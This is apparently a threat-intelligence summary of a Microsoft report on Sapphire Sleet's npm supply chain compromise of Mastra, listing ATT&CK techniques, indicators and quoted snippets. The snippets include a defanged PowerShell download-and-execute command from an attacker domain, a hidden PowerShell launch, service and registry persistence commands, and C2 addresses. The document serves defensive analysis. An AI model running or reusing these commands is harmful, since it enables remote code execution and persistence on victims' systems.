Microsoft · Vendor blog

From package to postinstall payload: Inside the Mastra npm supply chain compromise by Sapphire Sleet

Published · Source: Microsoft

7 entities6 ATT&CK behaviors19 indicators19 claims

Entities & attribution

  • Tool

    Cobalt Strike

    “…er, the implant installs sign-in persistence, sends a Start beacon to the C2, then enters a repeated Check poll loop. Tasks re…”

    Page 1 · Paragraph 70

  • Artifact

    cmd.exe

    “…s Run2 method with a second downloaded payload, the path to cmd.exe , and the C2 callback address:”

    Page 1 · Paragraph 75

  • Artifact

    powershell.exe

    “…cy","Bypass","-File",$tempFile) + $uid + $url Start-Process powershell.exe -WindowStyle Hidden -ArgumentList $cln”

    Page 1 · Paragraph 102

  • Artifact

    svchost.exe

    “sc create scdev binPath= "c:\windows\system32\svchost.exe -k scdev" type= share start= auto reg add HKLM\SYSTEM\Curre…”

    Page 1 · Paragraph 104

  • Artifact

    scdev.dll

    “…eters /v ServiceDll /t REG_EXPAND_SZ /d c:\windows\system32\scdev.dll /f”

    Page 1 · Paragraph 104

  • Infrastructure

    OneDrive

    “…osted on attacker-controlled cloud storage services such as OneDrive or Google Drive, using domains masquerading as financial in…”

    Page 1 · Paragraph 116

  • Artifact

    node.exe

    “… | where Timestamp > ago(7d) | where FileName in ("node", "node.exe") | where ProcessCommandLine has "setup.cjs" or ProcessCo…”

    Page 1 · Paragraph 150

MITRE ATT&CK behaviors

  • T1055 · Process Injection

    Privilege Escalation · Process injection

    “Dependency injection: the poisoned package.json”

    Page 1 · Paragraph 3

  • T1071.001 · Web Protocols

    Command and Control · C2 over HTTPS

    “…ication, contacted attacker-controlled command-and-control (C2) infrastructure, downloaded a second-stage payload, and exe…”

    Page 1 · Paragraph 18

  • T1059.001 · PowerShell

    Execution · PowerShell execution

    “…nt established C2 communication, Sapphire Sleet delivered a PowerShell backdoor from separate infrastructure, established addition…”

    Page 1 · Paragraph 29

  • T1547.001 · Registry Run Keys

    Persistence · Registry Run key

    “Windows Registry Run key ( HKCU\…\CurrentVersion\Run ) C:\ProgramData\NodePackages\ …”

    Page 1 · Paragraph 79

  • T1574.002 · DLL Side-Loading

    Defense Evasion · DLL sideloading

    “… /v ServiceDll /t REG_EXPAND_SZ /d c:\windows\system32\scdev.dll /f”

    Page 1 · Paragraph 104

  • T1567.002 · Exfiltration to Cloud Storage

    Exfiltration · Cloud service C2 / exfil

    “…osted on attacker-controlled cloud storage services such as OneDrive or Google Drive, using domains masquerading as financial in…”

    Page 1 · Paragraph 116

Indicators of compromise

Claims & evidence

  • Reported Claim

    From package to postinstall payload: Inside the Mastra npm supply chain compromise by Sapphire Sleet exhibits Process injection (T1055)

    “Dependency injection: the poisoned package.json”

    Page 1 · Paragraph 3

  • Reported Claim

    From package to postinstall payload: Inside the Mastra npm supply chain compromise by Sapphire Sleet exhibits C2 over HTTPS (T1071.001)

    “…ication, contacted attacker-controlled command-and-control (C2) infrastructure, downloaded a second-stage payload, and exe…”

    Page 1 · Paragraph 18

  • Reported Claim

    From package to postinstall payload: Inside the Mastra npm supply chain compromise by Sapphire Sleet exhibits PowerShell execution (T1059.001)

    “…nt established C2 communication, Sapphire Sleet delivered a PowerShell backdoor from separate infrastructure, established addition…”

    Page 1 · Paragraph 29

  • Reported Claim

    From package to postinstall payload: Inside the Mastra npm supply chain compromise by Sapphire Sleet exhibits Registry Run key (T1547.001)

    “Windows Registry Run key ( HKCU\…\CurrentVersion\Run ) C:\ProgramData\NodePackages\ …”

    Page 1 · Paragraph 79

  • Reported Claim

    From package to postinstall payload: Inside the Mastra npm supply chain compromise by Sapphire Sleet exhibits DLL sideloading (T1574.002)

    “… /v ServiceDll /t REG_EXPAND_SZ /d c:\windows\system32\scdev.dll /f”

    Page 1 · Paragraph 104

  • Reported Claim

    From package to postinstall payload: Inside the Mastra npm supply chain compromise by Sapphire Sleet exhibits Cloud service C2 / exfil (T1567.002)

    “…osted on attacker-controlled cloud storage services such as OneDrive or Google Drive, using domains masquerading as financial in…”

    Page 1 · Paragraph 116

  • Inferred Relationship

    Process injection precedes C2 over HTTPS

    “…ication, contacted attacker-controlled command-and-control (C2) infrastructure, downloaded a second-stage payload, and exe…”

    Page 1 · Paragraph 18

  • Inferred Relationship

    C2 over HTTPS precedes PowerShell execution

    “…nt established C2 communication, Sapphire Sleet delivered a PowerShell backdoor from separate infrastructure, established addition…”

    Page 1 · Paragraph 29

  • Inferred Relationship

    PowerShell execution precedes Registry Run key

    “Windows Registry Run key ( HKCU\…\CurrentVersion\Run ) C:\ProgramData\NodePackages\ …”

    Page 1 · Paragraph 79

  • Inferred Relationship

    Registry Run key precedes DLL sideloading

    “… /v ServiceDll /t REG_EXPAND_SZ /d c:\windows\system32\scdev.dll /f”

    Page 1 · Paragraph 104

  • Inferred Relationship

    DLL sideloading precedes Cloud service C2 / exfil

    “…osted on attacker-controlled cloud storage services such as OneDrive or Google Drive, using domains masquerading as financial in…”

    Page 1 · Paragraph 116

  • Reported Claim

    tutamail.com used as network infrastructure

    “…b repository. Both the compromised publisher ( ehindero2016@tutamail.com ) and the typosquat publisher ( sergey2016@tutamail.com ) u…”

    Page 1 · Paragraph 33

  • Reported Claim

    outlook.com used as network infrastructure

    “Maintainer iamkun kunhello@outlook[.]com > sergey2016 sergey2016@tutamail[.]com >”

    Page 1 · Paragraph 41

  • Reported Claim

    github.com used as network infrastructure

    “Repository URL github.com/iamkun/dayjs github.com/iamkun/dayjs (copied)”

    Page 1 · Paragraph 43

  • Reported Claim

    23.254.164.123 used as network infrastructure

    “Key decoded strings include the secondary C2 address (23.254.164[.]123:443), Node.js built-in module references ( node:child_pro…”

    Page 1 · Paragraph 61

  • Reported Claim

    23.254.164.92 used as network infrastructure

    “…-stage payload. The dropper issues a GET request to hxxps://23.254.164[.]92:8000/update/49890878 and reads the response body as text.”

    Page 1 · Paragraph 69

  • Reported Claim

    teams.onweblive.org used as network infrastructure

    “powershell -w h -c "iwr -UseBasicParsing https[:]//teams[.]onweblive[.]org/api/update/8555575039/4|iex"”

    Page 1 · Paragraph 93

  • Lore Hypothesis

    Investigation hypothesizes A loader sideloaded via a signed binary stages an in-memory implant

    “Dependency injection: the poisoned package.json”

    Page 1 · Paragraph 3

  • Lore Hypothesis

    Investigation hypothesizes Data exfiltration occurred through cloud storage

    “Dependency injection: the poisoned package.json”

    Page 1 · Paragraph 3